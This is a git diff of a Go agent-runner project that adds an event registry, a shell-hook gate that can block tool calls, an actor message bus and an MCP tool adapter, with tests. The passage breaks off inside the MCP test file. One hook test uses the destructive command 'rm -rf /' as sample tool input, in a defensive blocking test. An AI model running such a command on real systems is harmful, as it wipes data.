`json:"call_id,omitempty"` + Verdict string `json:"verdict"` // allow | deny + GateResults []GateResult `json:"gate_results,omitempty"` + // ReservedTokens is the budget reservation granted with an allow + // (3.7b); released when the activity reaches a terminal event. + ReservedTokens int `json:"reserved_tokens,omitempty"` +} + +// Registry maps every event type to a constructor for its payload struct. +// Decode helpers and the round-trip test are driven by this table. +var Registry = map[string]func() any{ + TypeRunStarted: func() any { return &RunStarted{} }, + TypeInputReceived: func() any { return &InputReceived{} }, + TypeTurnStarted: func() any { return &TurnStarted{} }, + TypeAssistantMessage: func() any { return &AssistantMessage{} }, + TypeActivityStarted: func() any { return &ActivityStarted{} }, + TypeActivityCompleted: func() any { return &ActivityCompleted{} }, + TypeActivityFailed: func() any { return &ActivityFailed{} }, + TypeActivityCancelled: func() any { return &ActivityCancelled{} }, + TypeTimerSet: func() any { return &TimerSet{} }, + TypeTimerFired: func() any { return &TimerFired{} }, + TypeTimerCancelled: func() any { return &TimerCancelled{} }, + TypeWaitingEntered: func() any { return &WaitingEntered{} }, + TypeWaitingResolved: func() any { return &WaitingResolved{} }, + TypeActorCrashed: func() any { return &ActorCrashed{} }, + TypeRunEnded: func() any { return &RunEnded{} }, + TypeEffectRequested: func() any { return &EffectRequested{} }, + TypeEffectResolved: func() any { return &EffectResolved{} }, + TypeApprovalRequested: func() any { return &ApprovalRequested{} }, + TypeApprovalResponded: func() any { return &ApprovalResponded{} }, + TypeModeChanged: func() any { return &ModeChanged{} }, + TypeLimitExceeded: func() any { return &LimitExceeded{} }, + TypeTurnDiscarded: func() any { return &TurnDiscarded{} }, + TypeContextCompacted: func() any { return &ContextCompacted{} }, + TypeMalformedToolCall: func() any { return &MalformedToolCall{} }, + TypeToolsDiscovered: func() any { return &ToolsDiscovered{} }, + TypeSpawnRequested: func() any { return &SpawnRequested{} }, + TypeSubagentCompleted: func() any { return &SubagentCompleted{} }, + TypeArtifactPublished: func() any { return &ArtifactPublished{} }, + + TypeDriverStarted: func() any { return &DriverStarted{} }, + TypeIterationScheduled: func() any { return &IterationScheduled{} }, + TypeIterationLaunched: func() any { return &IterationLaunched{} }, + TypeIterationCompleted: func() any { return &IterationCompleted{} }, + TypeIterationSkipped: func() any { return &IterationSkipped{} }, + TypeDriverCompleted: func() any { return &DriverCompleted{} }, + + TypeNotificationSent: func() any { return &NotificationSent{} }, +} + +// DriverStream lists the event types that belong to the IterationDriver's OWN +// stream (S6, DESIGN §运行形态): folded by internal/driver, never by the run +// fold. They never appear in a run journal, so the run fold legitimately has +// no case for them — the run-fold coverage test skips exactly this set, and +// internal/driver carries the matching coverage assertion. +var DriverStream = map[string]bool{ + TypeDriverStarted: true, + TypeIterationScheduled: true, + TypeIterationLaunched: true, + TypeIterationCompleted: true, + TypeIterationSkipped: true, + TypeDriverCompleted: true, +} + +// NotifierStream marks the notifier's own stream types (S6 模块⑤), excluded +// from the run fold for the same reason as DriverStream. +var NotifierStream = map[string]bool{ + TypeNotificationSent: true, +} diff --git a/internal/hook/hook.go b/internal/hook/hook.go new file mode 100644 index 0000000..b6e9ca1 --- /dev/null +++ b/internal/hook/hook.go @@ -0,0 +1,197 @@ +// Package hook runs user-configured shell hooks (3.8). Pre-tool hooks can +// observe or BLOCK an effect (exit 2, stderr becomes the model-visible +// reason); post-tool hooks observe results and may attach a note to the +// activity's completion fact. Hooks are external processes — a real +// wall-clock timeout applies (this package is outside the forbidigo zone; +// exemption recorded in PROGRESS). +package hook + +import ( + "bytes" + "context" + "encoding/json" + "fmt" + "os" + "os/exec" + "strings" + "syscall" + "time" + + "github.com/ralphite/agentrunner/internal/pipeline" + "github.com/ralphite/agentrunner/internal/redact" +) + +// DefaultTimeout bounds each hook process. +const DefaultTimeout = 10 * time.Second + +// BlockExitCode is the contract: a pre hook exiting 2 blocks the effect. +const BlockExitCode = 2 + +// Runner executes the configured hook commands. +type Runner struct { + PreTool []string + PostTool []string + Dir string // working directory (workspace root) + Timeout time.Duration // 0 = DefaultTimeout +} + +// PreInput is the JSON a pre-tool hook receives on stdin. +type PreInput struct { + ToolName string `json:"tool_name"` + Class string `json:"class"` + Args json.RawMessage `json:"args,omitempty"` + CallID string `json:"call_id,omitempty"` +} + +// PostInput is the JSON a post-tool hook receives on stdin. +type PostInput struct { + ToolName string `json:"tool_name"` + CallID string `json:"call_id,omitempty"` + Result json.RawMessage `json:"result,omitempty"` + IsError bool `json:"is_error,omitempty"` +} + +// PreResult aggregates the pre-hook chain's outcome. +type PreResult struct { + Blocked bool + Reason string // blocking hook's stderr + Notes []string // warnings from hooks that errored (observe + warn) +} + +// RunPre executes every pre hook in order; the first block wins. +func (r *Runner) RunPre(ctx context.Context, in PreInput) PreResult { + payload, _ := json.Marshal(in) + var out PreResult + for _, cmd := range r.PreTool { + exit, _, stderr, err := r.runOne(ctx, cmd, payload) + switch { + case err != nil: + out.Notes = append(out.Notes, fmt.Sprintf("pre hook %q error: %v", cmd, err)) + case exit == BlockExitCode: + out.Blocked = true + out.Reason = strings.TrimSpace(stderr) + if out.Reason == "" { + out.Reason = fmt.Sprintf("blocked by pre hook %q", cmd) + } + return out + case exit != 0: + // Not the block code: observe, warn, continue (a broken hook + // must not silently veto work). + out.Notes = append(out.Notes, fmt.Sprintf("pre hook %q exit %d (ignored)", cmd, exit)) + } + } + return out +} + +// RunPost executes every post hook; their stdout lines become notes. +func (r *Runner) RunPost(ctx context.Context, in PostInput) []string { + payload, _ := json.Marshal(in) + var notes []string + for _, cmd := range r.PostTool { + exit, stdout, _, err := r.runOne(ctx, cmd, payload) + if err != nil { + notes = append(notes, fmt.Sprintf("post hook %q error: %v", cmd, err)) + continue + } + if exit != 0 { + notes = append(notes, fmt.Sprintf("post hook %q exit %d", cmd, exit)) + continue + } + if s := strings.TrimSpace(stdout); s != "" { + notes = append(notes, s) + } + } + return notes +} + +// scrubbedEnv is the parent environment minus credential variables. +func scrubbedEnv() []string { + out := make([]string, 0, len(os.Environ())) + for _, kv := range os.Environ() { + k, _, _ := strings.Cut(kv, "=") + secret := false + for _, suffix := range redact.Suffixes { + if strings.HasSuffix(k, suffix) { + secret = true + break + } + } + if !secret { + out = append(out, kv) + } + } + return out +} + +// runOne executes a single hook command with the JSON payload on stdin. +func (r *Runner) runOne(ctx context.Context, command string, stdin []byte) (exit int, stdout, stderr string, err error) { + timeout := r.Timeout + if timeout == 0 { + timeout = DefaultTimeout + } + hctx, cancel := context.WithTimeout(ctx, timeout) + defer cancel() + + cmd := exec.CommandContext(hctx, "sh", "-c", command) + cmd.Dir = r.Dir + cmd.Stdin = bytes.NewReader(stdin) + // Strip harness credentials from the hook's environment: a lint/audit + // hook has no need for GEMINI_API_KEY etc., and the journal never sees + // them either — the hook must not be a cleartext side channel. + cmd.Env = scrubbedEnv() + // Own process group so a forking hook's children die with it, and a + // killed hook's grandchildren don't hold the output pipes hostage. + cmd.SysProcAttr = &syscall.SysProcAttr{Setpgid: true} + cmd.WaitDelay = 2 * time.Second + var outBuf, errBuf bytes.Buffer + cmd.Stdout = &outBuf + cmd.Stderr = &errBuf + + if err := cmd.Start(); err != nil { + return -1, "", "", err + } + pgid := cmd.Process.Pid + runErr := cmd.Wait() + if hctx.Err() == context.DeadlineExceeded { + _ = syscall.Kill(-pgid, syscall.SIGKILL) // reap the whole group + return -1, outBuf.String(), errBuf.String(), fmt.Errorf("timed out after %s", timeout) + } + if exitErr, ok := runErr.(*exec.ExitError); ok { + return exitErr.ExitCode(), outBuf.String(), errBuf.String(), nil + } + if runErr != nil { + return -1, outBuf.String(), errBuf.String(), runErr + } + return 0, outBuf.String(), errBuf.String(), nil +} + +// Gate adapts the pre-hook chain into the effect pipeline. It declares +// side effects, so a crash inside its window is in-doubt (3.2). +type Gate struct { + Runner *Runner + // Notes receives observe-mode warnings (nil = dropped). + Notes func(string) +} + +func (g *Gate) Name() string { return "hooks" } + +func (g *Gate) SideEffecting() bool { return len(g.Runner.PreTool) > 0 } + +func (g *Gate) Check(ctx context.Context, eff pipeline.Effect) pipeline.Decision { + if eff.Kind != "tool_call" || len(g.Runner.PreTool) == 0 { + return pipeline.Allow + } + res := g.Runner.RunPre(ctx, PreInput{ + ToolName: eff.ToolName, Class: eff.Class, + Args: eff.Args, CallID: eff.CallID, + }) + for _, n := range res.Notes { + if g.Notes != nil { + g.Notes(n) + } + } + if res.Blocked { + return pipeline.Deny(res.Reason) + } + return pipeline.Allow +} diff --git a/internal/hook/hook_test.go b/internal/hook/hook_test.go new file mode 100644 index 0000000..e268c62 --- /dev/null +++ b/internal/hook/hook_test.go @@ -0,0 +1,107 @@ +package hook + +import ( + "context" + "encoding/json" + "os" + "path/filepath" + "strings" + "testing" + "time" + + "github.com/ralphite/agentrunner/internal/event" + "github.com/ralphite/agentrunner/internal/pipeline" +) + +func TestPreHookProtocol(t *testing.T) { + dir := t.TempDir() + r := &Runner{Dir: dir} + in := PreInput{ToolName: "bash", Class: "execute", + Args: json.RawMessage(`{"command":"rm -rf /"}`), CallID: "call_1_0"} + + t.Run("exit 0 observes", func(t *testing.T) { + r.PreTool = []string{"cat > observed.json"} + res := r.RunPre(context.Background(), in) + if res.Blocked || len(res.Notes) != 0 { + t.Fatalf("res = %+v", res) + } + raw, err := os.ReadFile(filepath.Join(dir, "observed.json")) + if err != nil || !strings.Contains(string(raw), `"tool_name":"bash"`) { + t.Fatalf("hook stdin not delivered: %s (%v)", raw, err) + } + }) + + t.Run("exit 2 blocks with stderr reason", func(t *testing.T) { + r.PreTool = []string{`echo "destructive commands are forbidden" >&2; exit 2`} + res := r.RunPre(context.Background(), in) + if !res.Blocked || res.Reason != "destructive commands are forbidden" { + t.Fatalf("res = %+v", res) + } + }) + + t.Run("other exits observe with warning", func(t *testing.T) { + r.PreTool = []string{"exit 3"} + res := r.RunPre(context.Background(), in) + if res.Blocked || len(res.Notes) != 1 || !strings.Contains(res.Notes[0], "exit 3") { + t.Fatalf("res = %+v", res) + } + }) + + t.Run("first block wins", func(t *testing.T) { + marker := filepath.Join(dir, "second-ran") + r.PreTool = []string{"exit 2", "touch " + marker} + res := r.RunPre(context.Background(), in) + if !res.Blocked { + t.Fatalf("res = %+v", res) + } + if _, err := os.Stat(marker); !os.IsNotExist(err) { + t.Fatal("hook after a block must not run") + } + }) + + t.Run("timeout is a warning, not a veto", func(t *testing.T) { + r.PreTool = []string{"sleep 5"} + r.Timeout = 100 * time.Millisecond + res := r.RunPre(context.Background(), in) + if res.Blocked || len(res.Notes) != 1 || !strings.Contains(res.Notes[0], "timed out") { + t.Fatalf("res = %+v", res) + } + r.Timeout = 0 + }) +} + +func TestPostHookNotes(t *testing.T) { + r := &Runner{Dir: t.TempDir(), PostTool: []string{ + `echo "lint clean"`, + `exit 1`, + }} + notes := r.RunPost(context.Background(), PostInput{ + ToolName: "edit_file", CallID: "call_1_0", + Result: json.RawMessage(`{"output":"edited"}`), + }) + if len(notes) != 2 || notes[0] != "lint clean" || !strings.Contains(notes[1], "exit 1") { + t.Fatalf("notes = %v", notes) + } +} + +func TestGateAdaptsPreHooks(t *testing.T) { + g := &Gate{Runner: &Runner{Dir: t.TempDir(), + PreTool: []string{`echo "no edits on fridays" >&2; exit 2`}}} + if !g.SideEffecting() { + t.Fatal("hook gate with pre hooks must declare side effects") + } + d := g.Check(context.Background(), pipeline.Effect{ + Kind: "tool_call", ToolName: "edit_file", Class: "edit"}) + if d.Action != event.VerdictDeny || d.Reason != "no edits on fridays" { + t.Fatalf("decision = %+v", d) + } + + // LLM effects and empty hook chains pass through. + if d := g.Check(context.Background(), pipeline.Effect{Kind: "llm_call"}); d.Action != event.VerdictAllow { + t.Fatalf("llm effect = %+v", d) + } + empty := &Gate{Runner: &Runner{}} + if empty.SideEffecting() { + t.Fatal("no pre hooks = no side effects") + } +} diff --git a/internal/kernel/kernel.go b/internal/kernel/kernel.go new file mode 100644 index 0000000..bad3a2c --- /dev/null +++ b/internal/kernel/kernel.go @@ -0,0 +1,214 @@ +// Package kernel is the actor runtime: each actor is a goroutine draining +// a mailbox channel; the bus routes envelopes by target (send) or fans out +// by type (publish). No wall-clock access here — time comes in as events. +// +// Locking rule: b.mu protects the actor/subscription tables ONLY. No +// mailbox send ever happens while holding it — a blocking send under the +// lock wedges the whole bus the moment one mailbox fills (the drain path +// and Close both need the lock). +package kernel + +import ( + "context" + "errors" + "fmt" + "sync" + + "github.com/ralphite/agentrunner/internal/event" +) + +// HandlerFunc processes one envelope and returns child envelopes. The +// actor stamps each child with causation/correlation (ChildOf) and routes +// it: non-empty Target → send, empty Target → publish by type. +type HandlerFunc func(ctx context.Context, env event.Envelope) ([]event.Envelope, error) + +const mailboxSize = 64 + +type actor struct { + name string + inbox chan event.Envelope + handler HandlerFunc + seen map[string]bool + dead bool +} + +// Bus owns all actors of one session runtime. +type Bus struct { + mu sync.Mutex + actors map[string]*actor + subs map[string][]string // event type → subscriber actor names + wg sync.WaitGroup + ctx context.Context + cancel context.CancelFunc + closed bool +} + +func NewBus() *Bus { + ctx, cancel := context.WithCancel(context.Background()) + return &Bus{ + actors: map[string]*actor{}, + subs: map[string][]string{}, + ctx: ctx, + cancel: cancel, + } +} + +// Register starts an actor goroutine. Registering a duplicate name or +// registering on a closed bus panics — wiring is static, done at startup. +func (b *Bus) Register(name string, h HandlerFunc) { + b.mu.Lock() + defer b.mu.Unlock() + if b.closed { + panic("kernel: register on closed bus") + } + if _, ok := b.actors[name]; ok { + panic(fmt.Sprintf("kernel: actor %q already registered", name)) + } + a := &actor{ + name: name, + inbox: make(chan event.Envelope, mailboxSize), + handler: h, + seen: map[string]bool{}, + } + b.actors[name] = a + b.wg.Add(1) + go b.run(a) +} + +// Subscribe routes published envelopes of the given type to the actor. +func (b *Bus) Subscribe(name, eventType string) { + b.mu.Lock() + defer b.mu.Unlock() + if _, ok := b.actors[name]; !ok { + panic(fmt.Sprintf("kernel: subscribe: unknown actor %q", name)) + } + b.subs[eventType] = append(b.subs[eventType], name) +} + +// lookup resolves a live target under the lock; delivery happens outside. +func (b *Bus) lookup(target string) (*actor, error) { + b.mu.Lock() + defer b.mu.Unlock() + if b.closed { + return nil, errors.New("kernel: bus closed") + } + a, ok := b.actors[target] + if !ok { + return nil, fmt.Errorf("kernel: unknown target %q", target) + } + if a.dead { + return nil, fmt.Errorf("kernel: actor %q crashed, not restarted", target) + } + return a, nil +} + +// Send routes an envelope to its Target's mailbox. It may block on a full +// mailbox (backpressure) but never while holding the bus lock. +func (b *Bus) Send(env event.Envelope) error { + a, err := b.lookup(env.Target) + if err != nil { + return err + } + select { + case a.inbox <- env: + return nil + case <-b.ctx.Done(): + return errors.New("kernel: bus closed") + } +} + +// Publish fans an envelope out to every subscriber of its type. Dead or +// missing subscribers are skipped — publish is best-effort by design. +func (b *Bus) Publish(env event.Envelope) { + b.mu.Lock() + names := append([]string(nil), b.subs[env.Type]...) + b.mu.Unlock() + for _, name := range names { + a, err := b.lookup(name) + if err != nil { + continue + } + delivery := env + delivery.Target = name + select { + case a.inbox <- delivery: + case <-b.ctx.Done(): + return + } + } +} + +// Close stops delivery and waits for all actor goroutines to exit. +// Mailboxes are never closed — actors exit via ctx, and undrained +// envelopes are dropped with the bus. +func (b *Bus) Close() { + b.mu.Lock() + if b.closed { + b.mu.Unlock() + return + } + b.closed = true + b.mu.Unlock() + b.cancel() + b.wg.Wait() +} + +func (b *Bus) run(a *actor) { + defer b.wg.Done() + for { + var env event.Envelope + select { + case env = <-a.inbox: + case <-b.ctx.Done(): + return + } + // Idempotent dedup by envelope id: a command delivered twice is + // processed once. In-memory is enough — replay-time dedup falls + // out of the fold, not the mailbox. + if env.ID != "" { + if a.seen[env.ID] { + continue + } + a.seen[env.ID] = true + } + children, err := safeHandle(a.handler, b.ctx, env) + if err != nil { + b.crash(a, env, err) + return + } + for _, child := range children { + child = child.ChildOf(env) + if child.Target != "" { + if serr := b.Send(child); serr != nil { + b.crash(a, env, fmt.Errorf("routing child: %w", serr)) + return + } + } else { + b.Publish(child) + } + } + } +} + +// crash marks the actor dead (no auto-restart) and publishes ActorCrashed +// as a child of the envelope being handled. +func (b *Bus) crash(a *actor, cause event.Envelope, err error) { + b.mu.Lock() + a.dead = true + b.mu.Unlock() + crashed, cerr := event.New(event.TypeActorCrashed, + &event.ActorCrashed{Actor: a.name, Error: err.Error()}) + if cerr != nil { + return + } + b.Publish(crashed.ChildOf(cause)) +} + +func safeHandle(h HandlerFunc, ctx context.Context, env event.Envelope) (children []event.Envelope, err error) { + defer func() { + if r := recover(); r != nil { + err = fmt.Errorf("panic: %v", r) + } + }() + return h(ctx, env) +} diff --git a/internal/kernel/kernel_test.go b/internal/kernel/kernel_test.go new file mode 100644 index 0000000..6cc9654 --- /dev/null +++ b/internal/kernel/kernel_test.go @@ -0,0 +1,192 @@ +package kernel + +import ( + "context" + "errors" + "strings" + "testing" + + "github.com/ralphite/agentrunner/internal/event" +) + +func cmd(t *testing.T, id, target string) event.Envelope { + t.Helper() + env, err := event.New(event.TypeInputReceived, &event.InputReceived{Text: "x", Source: "test"}) + if err != nil { + t.Fatal(err) + } + env.ID = id + env.Target = target + env.CorrelationID = "sess-1" + return env +} + +// A duplicate command (same envelope id) is processed exactly once. +// Mailboxes are FIFO, so once the marker command is recorded, both copies +// of the duplicate are already past the dedup gate. +func TestCommandDedup(t *testing.T) { + bus := NewBus() + defer bus.Close() + + got := make(chan string, 8) + bus.Register("worker", func(_ context.Context, env event.Envelope) ([]event.Envelope, error) { + got <- env.ID + return nil, nil + }) + + dup := cmd(t, "cmd-aaaaaaaa", "worker") + if err := bus.Send(dup); err != nil { + t.Fatal(err) + } + if err := bus.Send(dup); err != nil { + t.Fatal(err) + } + if err := bus.Send(cmd(t, "cmd-marker00", "worker")); err != nil { + t.Fatal(err) + } + + if id := <-got; id != "cmd-aaaaaaaa" { + t.Fatalf("first processed = %q", id) + } + if id := <-got; id != "cmd-marker00" { + t.Fatalf("second processed = %q, want marker (duplicate must be skipped)", id) + } +} + +// Children returned by a handler carry causation (parent id) and inherited +// correlation, across a two-actor hop. +func TestCausationCorrelationChain(t *testing.T) { + bus := NewBus() + defer bus.Close() + + seen := make(chan event.Envelope, 1) + bus.Register("b", func(_ context.Context, env event.Envelope) ([]event.Envelope, error) { + seen <- env + return nil, nil + }) + bus.Register("a", func(_ context.Context, _ event.Envelope) ([]event.Envelope, error) { + child, err := event.New(event.TypeTurnStarted, &event.TurnStarted{Turn: 1}) + if err != nil { + return nil, err + } + child.Target = "b" + return []event.Envelope{child}, nil + }) + + if err := bus.Send(cmd(t, "cmd-root0000", "a")); err != nil { + t.Fatal(err) + } + child := <-seen + if child.CausationID != "cmd-root0000" { + t.Errorf("causation = %q, want parent id", child.CausationID) + } + if child.CorrelationID != "sess-1" { + t.Errorf("correlation = %q, want inherited sess-1", child.CorrelationID) + } +} + +// Publish fans out by type to subscribers; children with empty Target are +// published. +func TestPublishFanOut(t *testing.T) { + bus := NewBus() + defer bus.Close() + + got1 := make(chan string, 1) + got2 := make(chan string, 1) + bus.Register("sub1", func(_ context.Context, env event.Envelope) ([]event.Envelope, error) { + got1 <- env.Type + return nil, nil + }) + bus.Register("sub2", func(_ context.Context, env event.Envelope) ([]event.Envelope, error) { + got2 <- env.Type + return nil, nil + }) + bus.Subscribe("sub1", event.TypeTurnStarted) + bus.Subscribe("sub2", event.TypeTurnStarted) + + env, err := event.New(event.TypeTurnStarted, &event.TurnStarted{Turn: 2}) + if err != nil { + t.Fatal(err) + } + bus.Publish(env) + if typ := <-got1; typ != event.TypeTurnStarted { + t.Errorf("sub1 got %q", typ) + } + if typ := <-got2; typ != event.TypeTurnStarted { + t.Errorf("sub2 got %q", typ) + } +} + +// A handler error crashes the actor: ActorCrashed is published as a child +// of the failing envelope, the actor is dead, and there is no restart. +func TestActorCrashNoRestart(t *testing.T) { + bus := NewBus() + defer bus.Close() + + crashes := make(chan event.Envelope, 1) + bus.Register("watcher", func(_ context.Context, env event.Envelope) ([]event.Envelope, error) { + crashes <- env + return nil, nil + }) + bus.Subscribe("watcher", event.TypeActorCrashed) + bus.Register("fragile", func(_ context.Context, _ event.Envelope) ([]event.Envelope, error) { + return nil, errors.New("boom") + }) + + if err := bus.Send(cmd(t, "cmd-kill0000", "fragile")); err != nil { + t.Fatal(err) + } + crashed := <-crashes + p, err := event.DecodePayload(crashed) + if err != nil { + t.Fatal(err) + } + info := p.(*event.ActorCrashed) + if info.Actor != "fragile" || !strings.Contains(info.Error, "boom") { + t.Errorf("crash info = %+v", info) + } + if crashed.CausationID != "cmd-kill0000" { + t.Errorf("crash causation = %q, want failing envelope id", crashed.CausationID) + } + + err = bus.Send(cmd(t, "cmd-next0000", "fragile")) + if err == nil || !strings.Contains(err.Error(), "crashed") { + t.Fatalf("send to dead actor: err = %v, want crashed error", err) + } +} + +// A panicking handler is a crash, not a process abort. +func TestActorPanicIsCrash(t *testing.T) { + bus := NewBus() + defer bus.Close() + + crashes := make(chan event.Envelope, 1) + bus.Register("watcher", func(_ context.Context, env event.Envelope) ([]event.Envelope, error) { + crashes <- env + return nil, nil + }) + bus.Subscribe("watcher", event.TypeActorCrashed) + bus.Register("panicky", func(_ context.Context, _ event.Envelope) ([]event.Envelope, error) { + panic("unhinged") + }) + + if err := bus.Send(cmd(t, "cmd-panic000", "panicky")); err != nil { + t.Fatal(err) + } + crashed := <-crashes + p, _ := event.DecodePayload(crashed) + if info := p.(*event.ActorCrashed); !strings.Contains(info.Error, "unhinged") { + t.Errorf("crash info = %+v", info) + } +} + +func TestSendErrors(t *testing.T) { + bus := NewBus() + if err := bus.Send(cmd(t, "cmd-x0000000", "nobody")); err == nil { + t.Error("unknown target must error") + } + bus.Close() + if err := bus.Send(cmd(t, "cmd-y0000000", "nobody")); err == nil { + t.Error("send after close must error") + } +} diff --git a/internal/mcp/mcp.go b/internal/mcp/mcp.go new file mode 100644 index 0000000..1f9b13c --- /dev/null +++ b/internal/mcp/mcp.go @@ -0,0 +1,236 @@ +// Package mcp adapts external Model Context Protocol servers into the +// harness's normalized tool face (S5.1). MCP server LIFECYCLE is out-of-band: +// connections are runtime state, never event-sourced — only the discovered +// tool SCHEMAS enter the event log (so a resumed run knows its tool face and +// can re-connect + re-validate against the journaled schemas). Tools are +// exposed under the fully-qualified name `mcp____`, and an +// untagged tool defaults to the most conservative execute class. +package mcp + +import ( + "context" + "encoding/json" + "fmt" + "sort" + "strings" + + sdk "github.com/modelcontextprotocol/go-sdk/mcp" +) + +// namePrefix namespaces every MCP tool away from built-in tools. +const namePrefix = "mcp__" + +// Tool classes (mirror internal/tool classes; kept as strings to avoid a +// dependency cycle — the loop maps these onto its registry). +const ( + classRead = "read" + classExecute = "execute" +) + +// QualifiedName builds the fully-qualified MCP tool name. +func QualifiedName(server, tool string) string { + return namePrefix + server + "__" + tool +} + +// SplitName parses a fully-qualified MCP tool name back into (server, tool). +// The tool half may itself contain "__"; only the first separator splits. +func SplitName(qualified string) (server, tool string, ok bool) { + rest, found := strings.CutPrefix(qualified, namePrefix) + if !found { + return "", "", false + } + server, tool, found = strings.Cut(rest, "__") + if !found || server == "" || tool == "" { + return "", "", false + } + return server, tool, true +} + +// DiscoveredTool is a normalized MCP tool ready to enter the tool face. +type DiscoveredTool struct { + Server string `json:"server"` + Tool string `json:"tool"` // bare name as the server knows it + Name string `json:"name"` // fully-qualified mcp__server__tool + Description string `json:"description,omitempty"` + InputSchema json.RawMessage `json:"input_schema,omitempty"` + Class string `json:"class"` // read | execute +} + +// clientSession is the slice of the SDK session the manager needs; an +// interface so tests can substitute a fake without a live transport. +type clientSession interface { + ListTools(context.Context, *sdk.ListToolsParams) (*sdk.ListToolsResult, error) + CallTool(context.Context, *sdk.CallToolParams) (*sdk.CallToolResult, error) + Close() error +} + +// Conn is one connected MCP server (lifecycle out-of-band). +type Conn struct { + server string + session clientSession +} + +// NewConn wraps an already-connected SDK client session under a server name. +// Connecting the transport (stdio command, sse, in-memory) is the caller's +// job — that lifecycle lives outside the event log. +func NewConn(server string, session *sdk.ClientSession) *Conn { + return &Conn{server: server, session: session} +} + +// Discover lists the server's tools, normalized and fully-qualified. +func (c *Conn) Discover(ctx context.Context) ([]DiscoveredTool, error) { + res, err := c.session.ListTools(ctx, nil) + if err != nil { + return nil, fmt.Errorf("mcp %q: list tools: %w", c.server, err) + } + out := make([]DiscoveredTool, 0, len(res.Tools)) + for _, t := range res.Tools { + schema, _ := json.Marshal(t.InputSchema) + out = append(out, DiscoveredTool{ + Server: c.server, Tool: t.Name, Name: QualifiedName(c.server, t.Name), + Description: t.Description, InputSchema: schema, Class: classOf(t.Annotations), + }) + } + sort.Slice(out, func(i, j int) bool { return out[i].Name < out[j].Name }) + return out, nil +} + +// Call invokes a bare tool on this server and renders the result as a JSON +// payload. isError reflects the MCP tool-level error flag (a failed tool is a +// model-visible result, not a harness failure — same contract as built-ins). +func (c *Conn) Call(ctx context.Context, tool string, args json.RawMessage) (payload json.RawMessage, isError bool, err error) { + var arguments any + if len(args) > 0 { + arguments = json.RawMessage(args) + } + res, err := c.session.CallTool(ctx, &sdk.CallToolParams{Name: tool, Arguments: arguments}) + if err != nil { + return nil, false, fmt.Errorf("mcp %q: call %q: %w", c.server, tool, err) + } + payload, merr := json.Marshal(map[string]any{"content": renderContent(res)}) + if merr != nil { + return nil, false, merr + } + return payload, res.IsError, nil +} + +// Close ends the session (out-of-band lifecycle). +func (c *Conn) Close() error { + return c.session.Close() +} + +// classOf maps MCP annotations to a permission class. A read-only tool is +// read-class; everything else — including untagged tools — is execute, the +// most conservative default (S5.1). +func classOf(ann *sdk.ToolAnnotations) string { + if ann != nil && ann.ReadOnlyHint { + return classRead + } + return classExecute +} + +// renderContent flattens an MCP result's content blocks into a single string +// (text blocks concatenated); non-text blocks are summarized by type. +func renderContent(res *sdk.CallToolResult) string { + var b strings.Builder + for _, block := range res.Content { + if tc, ok := block.(*sdk.TextContent); ok { + b.WriteString(tc.Text) + } else { + fmt.Fprintf(&b, "[%T]", block) + } + } + return b.String() +} + +// Manager holds several server connections and applies spec-level +// `allowed_tools` narrowing across all of them. +type Manager struct { + conns map[string]*Conn + allowed map[string]bool // nil = allow all; else the fully-qualified whitelist +} + +// NewManager builds an empty manager. +func NewManager() *Manager { + return &Manager{conns: map[string]*Conn{}} +} + +// Add registers a connected server. A duplicate server name is an error — +// names namespace tools, so a collision would make dispatch ambiguous. +func (m *Manager) Add(c *Conn) error { + if _, dup := m.conns[c.server]; dup { + return fmt.Errorf("mcp: duplicate server name %q", c.server) + } + m.conns[c.server] = c + return nil +} + +// SetAllowed narrows the advertised/callable set to the given fully-qualified +// names (spec `allowed_tools`). Empty/nil leaves everything allowed. +func (m *Manager) SetAllowed(names []string) { + if len(names) == 0 { + m.allowed = nil + return + } + m.allowed = make(map[string]bool, len(names)) + for _, n := range names { + m.allowed[n] = true + } +} + +func (m *Manager) isAllowed(name string) bool { + return m.allowed == nil || m.allowed[name] +} + +// Discover returns the union of all servers' tools, filtered by allowed_tools, +// sorted by qualified name (stable tool face → stable prompt prefix). +func (m *Manager) Discover(ctx context.Context) ([]DiscoveredTool, error) { + var out []DiscoveredTool + servers := make([]string, 0, len(m.conns)) + for name := range m.conns { + servers = append(servers, name) + } + sort.Strings(servers) + for _, name := range servers { + tools, err := m.conns[name].Discover(ctx) + if err != nil { + return nil, err + } + for _, t := range tools { + if m.isAllowed(t.Name) { + out = append(out, t) + } + } + } + sort.Slice(out, func(i, j int) bool { return out[i].Name < out[j].Name }) + return out, nil +} + +// Call routes a fully-qualified tool call to its server. A name outside the +// allowed set is rejected here too (defense in depth): even if a model +// fabricates a call to an un-advertised MCP tool, it never executes. +func (m *Manager) Call(ctx context.Context, qualified string, args json.RawMessage) (json.RawMessage, bool, error) { + if !m.isAllowed(qualified) { + return nil, false, fmt.Errorf("mcp: tool %q not permitted", qualified) + } + server, tool, ok := SplitName(qualified) + if !ok { + return nil, false, fmt.Errorf("mcp: %q is not a fully-qualified mcp tool name", qualified) + } + conn, ok := m.conns[server] + if !ok { + return nil, false, fmt.Errorf("mcp: no connected server %q", server) + } + return conn.Call(ctx, tool, args) +} + +// Close tears down every connection (out-of-band). +func (m *Manager) Close() error { + var first error + for _, c := range m.conns { + if err := c.Close(); err != nil && first == nil { + first = err + } + } + return first +} diff --git a/internal/mcp/mcp_test.go b/internal/mcp/mcp_test.go new file mode 100644 index 0000000..38791af --- /dev/null +++ b/internal/mcp/mcp_test.go @@ -0,0 +1,153 @@ +package mcp + +import ( + "context" + "encoding/json" + "strings" + "testing" + + "github.com/google/jsonschema-go/jsonschema" + sdk "github.com/modelcontextprotocol/go-sdk/mcp" +) + +// newTestConn wires an in-memory MCP server (two tools: a read-only "peek" +// and an untagged "run") to a client Conn under server name "demo". +func newTestConn(t *testing.T) *Conn { + t.Helper() + ctx := context.Background() + + server := sdk.NewServer(&sdk.Implementation{Name: "demo", Version: "v1"}, nil) + server.AddTool(&sdk.Tool{ + Name: "peek", Description: "read-only peek", + InputSchema: &jsonschema.Schema{Type: "object"}, + Annotations: &sdk.ToolAnnotations{ReadOnlyHint: true}, + }, func(_ context.Context, _ *sdk.CallToolRequest) (*sdk.CallToolResult, error) { + return &sdk.CallToolResult{Content: []sdk.Content{&sdk.TextContent{Text: "peeked"}}}, nil + }) + server.AddTool(&sdk.Tool{ + Name: "run", Description: "untagged", + InputSchema: &jsonschema.Schema{Type: "object"}, + }, func(_ context.Context, _ *sdk.CallToolRequest) (*sdk.CallToolResult, error) { + return &sdk.CallToolResult{Content: []sdk.Content{&sdk.TextContent{Text: "ran it"}}, IsError: true}, nil + }) + + st, ct := sdk.NewInMemoryTransports() + ss, err := server.Connect(ctx, st, nil) + if err != nil { + 